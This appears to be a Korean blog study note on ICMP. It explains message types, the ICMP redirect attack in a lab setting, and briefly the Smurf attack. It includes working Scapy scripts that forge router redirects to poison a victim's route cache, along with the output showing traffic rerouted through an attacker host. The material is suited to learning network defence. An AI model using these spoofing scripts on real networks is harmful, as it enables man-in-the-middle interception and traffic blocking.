
네트워크에서 오류 발생 시 네트워크 장치 간에 정보를 교환하기 위해 사용되는 프로토콜입니다. 주로 네트워크 상태를 진단하거나 오류 메시지를 전달하는 데 사용됩니다.
ICMP message의 종류는 Control Message, Error Message로 나눌 수 있습니다.
Control Message에는 Echo request/reply(eg. ping), Redirect, Timestamp request/reply, Router advertisement/solicitation이 있고, Error Messages에는 Destination unreachable, Time exceeded가 있습니다.
Request message를 보낼 땐 Type Field를 8로, Reply일 때 0으로 설정합니다. 또한 Time Exceeded Error message를 보낼 때 Type을 11, Code를 0~1값으로 채워 보내고, Destination Unreachable일 때는 Type을 3, Code를 0~4 값으로 채워야 합니다.
ICMP Redirect Message는 host가 routing table을 update할 때 사용하는데, Type을 5로 설정하고, code는 0 or 1로 설정합니다. code값이 0이면 Network로 Redirect, 1이면 Host에게 Redirect합니다.
ICMP Redirect Attack은 동일 네트워크 망 안에서만 공격이 가능합니다. Victim에서 ICMP Redirect를 받을 수 있는 상태여야 하고, Attacker는 router로 위장한 src IP로 ICMP Redirect message를 Victim에게 전송합니다.
해당 message에는 원래 victim의 목적지로 가려면 Attacker를 지나야 한다는 정보를 포함하고, Victim의 Routing Cache에 이를 반영해 이후 Traffic이 Attacker에게 보내지는 식으로 공격이 이루어집니다.
from scapy.all import *
# 피해자 측에서 반드시 허용해야 함
# sudo sysctl net.ipv4.conf.all.accept_redirects=1
ip = IP(src='10.0.2.1', dst='10.0.2.7') # 라우터(위조) → 피해자
icmp = ICMP(type=5, code=1) # ICMP Redirect (type 5), code 1 = Host redirect
icmp.gw = '10.0.2.6' # "더 좋은 게이트웨이"로 알려줄 IP (공격자)
ip2 = IP(src='10.0.2.7', dst='1.2.3.4') # 원래 목적지 패킷의 IP 헤더(ICMP payload에 포함)
send(ip/icmp/ip2/UDP()) # 패킷 전송
이 코드는 간단한 demo입니다. 위조된 Router에서 Victim으로 갈 IP Header를 구성하고, ICMP Header의 next hop에 Attacker의 주소를 넣습니다. 또, 원래 목적지 Packet의 IP Header까지 구성하여, 만들어진 Header들을 Stacking하여 보냅니다.
정상적인 상황에서 ip route 실행 결과를 보면 1.2.3.4로 갈 때 10.0.2.1을 gateway로 사용하라는 내용이 담겨져 있지만,
ip route get 1.2.3.4
>> 1.2.3.4 via 10.0.2.1 dev enp0s3 src 10.0.2.7
공격 후 실행 결과를 보면 1.2.3.4로 갈 때 10.0.2.6 (Attacker)를 지나는 것을 확인할 수 있습니다.
ip route get 1.2.3.4
>> 1.2.3.4 via 10.0.2.6 dev enp0s3 src 10.0.2.7
cache <redirected> expires 297sec
ICMP Redirect 실험을 위한 Setup입니다. 위에서 잠깐 얘기했듯 동일 네트워크 망에서 진행되는 공격입니다.
// On 10.9.0.5
ip route change default via 10.9.0.11
ip route
default via 10.9.0.11 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.105
192.168.60.0/24 via 10.9.0.11 dev eth0
// On 10.9.0.11
ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.11
192.168.60.0/24 dev eth1 proto kernel scope link src 192.168.60.11
먼저 10.9.0.11을 default router로 설정합니다.
// On 10.9.0.5
ping 1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
From 10.9.0.11: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.1)
From 10.9.0.11: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.1)
10.9.0.5는 10.9.0.1에 직접 보낼 수 있고, ICMP Redirect가 trigger됩니다.
ip route show cache
1.1.1.1 via 10.9.0.1 dev eth0
cache <redirected> expires 263sec
Redirection 이후 10.9.0.5를 확인해보면 Route Cache에 저장이 된걸 확인할 수 있습니다.
victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '10.9.0.111'
ip = IP(src = real_gateway, dst = victim)
icmp = ICMP(type = 5, code = 1)
icmp.gw = fake_gateway
ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
ICMP Redirect Message를 Spoofing하는 코드입니다.
Victim(10.9.0.5)의 Routing Cache를 조작해, 특정 목적지(192.168.60.5)로 가는 traffic을 Attacker(10.9.0.111)로 보냅니다. ICMP Redirect(type 5, code 1) 메시지를 진짜 게이트웨이인 것처럼 위조된 IP로 보내, 피해자가 잘못된 gw 필드를 라우팅 테이블에 반영하도록 속입니다.
mtr -n 192.168.60.5
Host
1. 10.9.0.111 <--- Malicious router
2. 10.9.0.11 <--- Actual router
3. 192.168.60.5 <--- Destination
위 코드를 이용하여 실행한 결과입니다. 정상적이라면 10.9.0.11 -> 192.168.60.5로 가겠지만, 공격을 받아 10.9.0.111 -> 10.9.0.11 -> 192.168.60.5 Malicious router를 거쳐 가는것을 확인할 수 있습니다.
즉, 피해자의 OS가 ICMP Redirect로 받은 잘못된 Gateway 정보를 그대로 라우팅 캐시에 반영했다는 것입니다. 이 과정을 통해 MITM, 트래픽 가로채기, 차단 등이 가능해집니다.

Smurf Attack은 Broadcast 과정에서 발생하고, 공격 방식은 다음과 같습니다.
출발지 주소를 Victim으로 설정하여 Broadcast message를 보내 다수의 host에게 reply message를 받게 만들어 서비스를 마비시킵니다.
현재 자영업자에게 일어나는 노쇼(No Show) 현상하고도 비슷하다는 생각이 듭니다.
지금까지 Layer 3 관련 내용과 공격에 대해 알아봤습니다. 다음은 UDP를 주제로 포스트를 작성 해보겠습니다.